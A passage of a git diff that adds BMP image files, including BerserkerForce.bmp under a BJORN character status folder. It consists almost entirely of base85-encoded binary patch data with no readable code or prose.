z8>5I~iz12?8&Q6}_Zc^34E1i^b8qLI&*z-;x%b!a+!eK7KVe1K-?6`8f1!TBQj{C< zKVQk-J7E4^Sgls8R;z6`o3rr?xR;lgo0}Upn;nTncDvnY=mnh125`+Y=4qfxKd!(}iSY`5DJ^hX> zFOf)mKHtfdA8{acI-PVn{UG-HNu$y1cKeC22i$tSj>TecZ*PE>N+qE0?(P%{g~Q<} z6bf+G>-Bg%jx^Hn0S6&K&Ear@!Qf;vAwgoN(`hss<@5PS$Y!%gIE+0WkI@WTLQpIg zTPzm0+wJjqtX8X3DuolvY&H*vLoz5uC6mef`}=0I2_n#GG@9${Ym!JTlgU)6RH;-7 z37t;IXf%dGA&SC@xIiGtWHO`&a3m552n#WvpPw6z2C0$D<Oz!uj z5q=Vn(h2$Vi<(IQ%h!)_a&j^^H#ayqXfPO7R#w8{@DG=-e|a}IH!UqK0)arI(M(KC zjE#*c6pG^F;(>vIXf&G1&fozKV*9<>h4xdw6)Lsj1=f`M6l8(@`MSzP`Sm zo}LWe_4PI4fhfSv&dzRcZ($rA9i5(@!ZLM|^aadb{j&g0|b z`1m-)#P8(fBsP&NgsrTsEH5wL+}wmr(DvfuB9TZC(%s$N+S-b=QL2)XlEuZvg@uK@ zyu4sA2n0C|4Gq=S)@EmCTdh_GgOQ(~4PALJ2-(`&!l4BP1<10#zFsbuqXLjL7K=jUxU8!||f4i67IJ3AqGR#ui+EQWB{O7cEFJ`kAO?FJBu zMErjL)zuZno1UIV6Cn{uhO;SBiifXWuSYAwFdB^rroX=*_R`W4jYe}g9Izp5S63Gd zYNYCp$nI4ZvtJR`cO(s)wb90K8`5q|M(KV0&`=|!`6RP68 z-rimaht&Va0|uqpY<5#qlf`0bZ*Qm5=^PFR5yHlcOp{=w;!I;tPfupE86lx@W@cvY M?(WiCnFb+$0TudT!~g&Q literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/BJORN/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..e8f452cf36427f159aa0fa47371ff0ab27d31bd1 GIT binary patch literal 30000 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 